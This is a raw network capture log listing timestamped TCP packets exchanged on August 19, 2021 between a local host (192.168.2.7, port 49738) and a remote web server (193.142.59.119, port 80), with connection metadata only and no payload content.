Aug 19, 2021 07:53:39.721487045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721497059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721508026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721522093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721528053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721549034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721570015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721589088 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721590996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721612930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721625090 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721636057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721653938 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721654892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721677065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721689939 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721697092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721718073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721739054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721756935 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721760035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721786022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721807003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721807957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721831083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721842051 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721852064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721873999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721878052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721894979 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721915960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721932888 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721935987 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721960068 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.721966982 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.721982002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722002983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722004890 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722026110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722040892 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722047091 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722068071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722090960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722094059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722111940 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722136021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722136974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722161055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722181082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722193003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722203970 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722217083 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722225904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722248077 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722268105 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722278118 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722289085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722301006 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722313881 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722337961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722354889 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722358942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722382069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722399950 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722404957 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722428083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722449064 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722450018 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722472906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722485065 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722498894 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722522020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722538948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722543955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722568035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722583055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722589970 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722613096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722635031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722636938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722657919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722676039 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722682953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722707033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722727060 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722728968 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722752094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722774029 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722776890 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722816944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722840071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722847939 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722862005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722879887 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722887993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722910881 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722918034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722933054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722934961 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722955942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.722980022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.722980976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723004103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723021984 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723026037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723048925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723074913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723074913 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723098993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723129034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723135948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723157883 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723176956 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723185062 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723196983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723215103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723216057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723234892 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723246098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723254919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723278999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723303080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723303080 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723324060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723345041 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723346949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723371983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723392963 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723393917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723417997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723440886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723463058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723467112 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723479033 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723490953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723511934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723530054 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723531961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723556042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723573923 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723577976 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723599911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723622084 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723622084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723648071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723665953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723670959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723695040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723711967 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723716974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723738909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723752975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723768950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723790884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723804951 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723814011 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723836899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723855019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723859072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723881006 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723896980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.723916054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723938942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.723958015 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.724142075 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.724364042 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727169037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727196932 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727217913 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727241039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727256060 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727262974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727278948 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727288961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727313995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727332115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727336884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727356911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727360964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727375984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727394104 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727397919 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727416039 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727433920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727436066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727462053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727478027 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727483988 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727505922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727524996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727528095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727550983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727577925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727598906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727607965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727616072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727624893 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727638960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727657080 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727668047 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727684021 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727705956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727706909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727729082 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727751017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727754116 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727776051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727791071 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727797031 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727818966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727840900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727842093 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727874041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727891922 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727900028 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727921009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727941990 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727942944 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727965117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.727983952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.727987051 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728009939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728028059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728030920 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728055954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728077888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728085995 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728101015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728116989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728122950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728146076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728167057 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728167057 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728188992 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728203058 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728212118 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728236914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728249073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728260994 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728281975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728303909 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728318930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728341103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728358030 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728363037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728385925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728406906 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728408098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728431940 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728447914 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728456020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728477955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728497028 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728498936 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728521109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728538036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728543043 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728565931 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728580952 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728589058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728614092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728627920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728637934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728660107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728682041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728682041 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728703022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728719950 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728724003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728744984 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728763103 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728768110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728807926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728821039 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728832006 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728852987 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728864908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728876114 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728899002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728913069 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728919983 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728941917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728962898 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.728974104 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.728990078 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729001045 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729012966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729036093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729053974 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729059935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729084015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729099989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729105949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729140997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729157925 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729161978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729187965 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729202032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729209900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729232073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729252100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729253054 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729275942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729290009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729298115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729321003 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729342937 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729343891 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729371071 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729386091 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729393959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729417086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729437113 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729439974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729461908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729477882 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729485035 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729507923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729530096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729532003 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729556084 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729573965 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729578972 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729602098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729623079 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729624033 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729645967 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729660034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729665995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729686022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729703903 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:39.729707956 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:39.729727030 CEST	80	49738	193.142.59.119	192.168.2.7
